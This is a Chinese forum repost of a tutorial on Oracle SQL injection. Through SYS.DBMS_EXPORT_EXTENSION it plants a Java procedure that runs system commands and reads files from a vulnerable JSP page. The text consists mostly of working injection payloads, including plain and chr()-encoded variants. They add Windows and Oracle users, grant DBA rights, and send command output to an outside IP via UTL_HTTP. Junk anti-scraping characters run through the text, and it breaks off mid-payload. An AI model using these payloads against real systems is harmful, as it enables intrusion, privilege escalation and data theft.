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标题: 犀利的 oracle 注入技术 [打印本页]

作者: admin    时间: 2012-9-13 16:49
标题: 犀利的 oracle 注入技术

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7 D8 ?6 ^6 u$ _0 Z3 ?% n介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。. ]% Y% T7 N3 p

! Y) n% I' p& O( R4 `* A2 T以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)4 L1 I+ }7 Q/ y7 \' G' P
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的形式即可。(用" 'a'|| "是为了让语句返回true值)
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语句有点长,可能要用post提交。2 r# N, I, o3 W3 ^2 J. {  n/ S

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; n) o. W. E0 i5 O8 j# C" J以下是各个步骤:& E3 W  C2 j5 n; R  ~
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1.创建包& J' ^; m" B* _' m' S# K' w1 C' v
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(
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6 T  [/ ^) G# o1 o$ Q1 ~: Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 f0 v+ p; w& M0 h# b1 R
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
' y9 ]% F& T) G, z2 n0 p% snew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
+ Q- X1 Z7 Z! i% t}'''';END;'';END;--','SYS',0,'1',0) from dual
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如果url有长度限制,可以把readFile()函数块去掉,即:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* c  _7 i5 e2 D* ^create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(& N- I; W# g. W8 W- l4 @1 `
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
3 B2 Z: `$ ~  w$ k}'''';END;'';END;--','SYS',0,'1',0) from dual
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同时把后面步骤 提到的 对readFile()的处理语句去掉。1 m6 l' `( U9 o! ]9 m) J6 C& X  k
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2.赋Java权限* o& {& U8 K: x# Z( R# ?1 k
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) i/ q. G1 q) \, K6 G" `+ `. Q$ o

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3.创建函数
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! W9 _$ E: p+ y$ @0 J8 pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', p+ v5 W$ s: K0 Y& o/ s
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 r, x, z* g) {1 t# bcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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& l: Z/ X$ Y5 V/ v4.赋public执行函数的权限8 N3 o; ]. b$ b) e6 @/ e* ~

$ C! q0 R3 r' K9 M1 Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual8 l6 s! d% U7 \  ?; o1 q6 g

5 h9 V0 L  p# j3 j7 ^4 gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual  T; Z1 ^* C2 g& `2 I* \
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3 [' l& t9 l% M; p3 @2 j5 D$ s, i/ _5.测试上面的几步是否成功
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and '1'<>'11'||(
/ I. y* i7 ], ?' X- jselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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  n; |5 {! J, A: Vselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'3 |  c+ \8 m% u* e! w' B
)
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6.执行命令:
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select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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- O7 P$ z0 h- s- X4 sselect sys.LinxReadFile('c:/boot.ini') from dual
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: H7 i3 G/ C8 e; q7 e注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
& w0 ]/ @8 Y  r! y1 n如果要查看运行结果可以用 union :+ k0 a1 e$ ^) V3 }5 w
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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或者UTL_HTTP.request(:4 s: Y' ^/ o- b4 L
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/xxx.jsp?id=1 and '1'<>(, N( A/ e  c$ {' k$ p& ~; Y
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual+ B% \( W/ Y9 O
)
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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. Y4 r  C( P  `$ k; _2 ~注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。: X# \* h0 M  D+ g+ v2 Q- r

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6.内部变化
4 F  R- Z' U7 t2 [3 b- M通过以下命令可以查看all_objects表达改变:
% o, `- Y7 t7 n" oselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'  K$ z" x+ ]1 b# W: g
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7.删除我们创建的函数
. k7 D9 Z9 [; P/ ~1 J  Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! |' ]' o/ g  t
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================& v; h% w7 @- p
全文结束。谨以此文赠与我的朋友。
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linx  G9 v! _: S' y. `( c9 O
1248294453 [: J/ u" U0 X7 N' y" m% x
2008.1.12" k; {! |" x7 I; ^( ~8 y
linyujian@bjfu.edu.cn
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======================================================================3 C% u- D8 [; k

, S* I' Q5 s3 v3 U% Q$ a/ {测试漏洞的另一方法:: \  O0 e6 z+ n

8 h( W' c3 \+ N8 m9 o" M* C; j创建oracle帐号:
. z  h8 `9 B3 D1 n7 M6 Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ r' o7 T+ h+ H8 L, S0 D# @CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual' d5 k1 n  }& u7 d. x  q  q

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
7 \# S3 x6 S: v( Qchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual3 K' ^+ @7 K& t2 x0 |& @
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确定漏洞存在:- H# Z6 O3 e" R
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select user_id from all_users where username='LINXSQL'" b; b- F- i2 A- W( d, `3 F
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) Y9 R" s; z+ _1 a5 L给linxsql连接权限:% D- X, ~/ `( u8 y8 W: ~
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# U; ]! _7 L1 e1 }GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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7 O, X2 b' F- v3 V( Y% z删除帐号:
* c$ @* W9 Q1 j2 a( Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! j& A2 d8 U, R5 Kdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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! G  ]- x# G/ `# E. Z) L/ k======================
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" g! z/ }- u" R) S$ O以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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1.jsp?id=1 and '1'<>(
% B/ E) Z5 x* W2 |4 E2 mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 \1 A* U2 v% Rcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual- ~' B) Z2 u- k
) and ...
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4 N6 {* _- A8 ~- d, J1.jsp?id=1 and '1'<>(
3 M- k0 Q" |. {1 J% U& U0 `. {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual/ B( x- U* ~. @: W2 {/ H) g
) and ...
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2 G' y" X3 Y' f5 j/ b  C1 S1.jsp?id=1 and '1'<>(
( ]+ w! u% k/ i. k" [2 r4 @9 [SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL; x4 ^. z. N4 }  w" o
) and ...  i$ O5 y# E* k, t) R
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, v1 t0 |5 k) j" c% ~2 U4 V- G1.jsp?id=1 and '1'<>(% Y/ J; a( j6 b! m+ |
SELECT sys.Linx_Query('declare pragma
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select 1 from dual2 O) Z, t' X  V. o3 ~
''; commit; end;') from dual
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2 B) e+ V2 i. H$ `多语句:% G. k$ F: q  A+ H3 K6 i! H$ p
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual- t* d* e8 F7 o" X
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创建用户(除非当前用户有system权限,否则无法成功):
3 D) H6 s, y* Z  e/ |1 gSELECT sys.Linx_Query('declare pragma4 m- W/ l8 \2 N
autonomous_transaction; begin execute immediate ''2 G" T2 Y% O; `5 h3 f+ u
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User! x, q( a$ a" f/ T
''; commit; end;') from dual! P# @% i6 P: ?$ a( s1 A- j" @* w, F
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以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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$ S. y3 E& b+ _% C  j. k& E1.创建函数
* _# b- D) N0 V7 L& Y. Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) z+ s& `: k! |. d+ Gcreate or replace function Linx_Query (p& B  N8 k5 @; U7 |+ L
varchar2) return number authid current_user is begin execute immediate
' H+ n6 d$ P. pp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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$ R. m9 {) K9 G% I! m1 ~( C7 a如果有权限,以下语句应该允许正常. M! j- u! n2 L; o
select sys.linx_query('select 1 from dual') from dual;
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不然的话运行:+ R  f3 l. m* c; ]) g- T; n
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! [9 H1 T9 G! ]9 g
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual4 h0 n7 s; K9 U- Y1 K& l: ?

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2.创建包
" d  ]2 {. R/ cSELECT sys.Linx_Query('declare pragma+ B. C9 q) m# |% I+ H) I5 N* w9 |
autonomous_transaction; begin execute immediate ''* \5 x+ k9 F  I. l9 L3 R4 K
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
& n: w; V) U( y2 k8 m' k5 fnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
  ^7 G8 g/ |; [5 d- W. q3 G% A$ p0 M6 G5 U
3.创建函数
7 O; N) j$ ~( F3 y/ O) u: LSELECT sys.Linx_Query('declare pragma/ Z+ y; e) ^) j  ~6 i
autonomous_transaction; begin execute immediate ''
5 y" ]- k) v, P/ a7 fcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
) z2 q: R2 Y' f. M" g! ]4 n* I  h! n' [
4.给权限
" O( ^& `0 `2 U: {给用户SYSTEM执行权限:, ~1 ?. v0 v7 \  [7 Q

3 A0 b+ P- [9 b5 O# U% i/ MSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
6 L- y! \3 [6 x4 k" V4 R" p! \9 j+ g$ [0 h; w
' M8 K4 E; C: _8 L) S; {
; {  C1 L1 N& P& p
5.执行函数# o# R; ~2 T7 c/ s
select RunCMD2('cmd /c dir') from dual; R/ F+ G" \3 q+ T
9 b" P4 c, b" Q& s' D* F

6 o' n- G, }- _0 D! Y% B
! u+ T. f7 {" N# N5 J6 |5 d/ z! ^9 ^% F

1 R9 q' I: Z$ x" X==================% Q9 _' j! J% L0 q
================================, P& n7 e/ O7 Q" x4 j

- ~: h  k2 ~0 C" }6 }; C以下是无 " ' " 版:) o7 @9 h, ]) P4 Y
  E) d: `% r: _! V
以下是各个步骤:
# t: k4 ^' t- i% _! l9 o% ]; ]
. x7 X- P. s, ~( }; D1.创建包
7 l5 d5 }# T. R. T' p通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:$ _' Z. ^( t: o( o" Z% ?1 H) U
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:; R6 w' a" \- ?4 T# ]
9 F, t1 q% |. g1 y' Q
/xxx.jsp?id=1 and chr(49)<>chr(50)||(4 h* V7 {1 x& G# G1 e

- Z9 U# e  f- Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
$ _3 J. a! p( Q, _# Echr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||7 Z# P! M, K  {9 a7 m3 }
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
; Y& K: R0 f3 r5 ^3 Lchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||9 m, ^' ]& ~! M' c( R$ t" c
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
8 X$ U2 [. @# S! ~chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
# T& z+ q6 K: A- p7 h- V. ?! Q+ Pchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
9 }) C) I  P5 Hchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
$ f1 |$ v/ }: V! z1 w  ochr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||+ _2 ]+ o: V+ E% M% ^- P  K
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||- C8 a, r: u7 m- ^" ^' C
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
1 H3 a  ~# p% w0 z& K' Z# Wchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
  u/ m5 \. B0 Q, K1 W+ schr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||% m. u8 u$ C2 l" |( G
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
, j* Z$ w6 O" P# r  l$ Lchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
! y5 m! T5 _) Y' Hchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
6 t2 f: o3 [0 O- s4 Ychr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
; S5 T* ?6 A1 L% ~chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
2 T: _  k- U' m( a0 M$ ochr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
; W& f, b* Y! R" [0 schr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
7 S/ D8 U; E& O  a$ qchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
+ {1 @$ |, a$ n4 t" t! g; Nchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
  `4 Z1 d$ J7 j& q- l% l/ Qchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
% Q/ f( j( a2 T/ r& Mchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||# u8 A4 e5 c8 G7 X; j' ?( _" i
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||, z2 \6 |4 a: j
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
6 M# Z" R' ~. U$ ichr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||& Q$ P& p; s2 N8 x
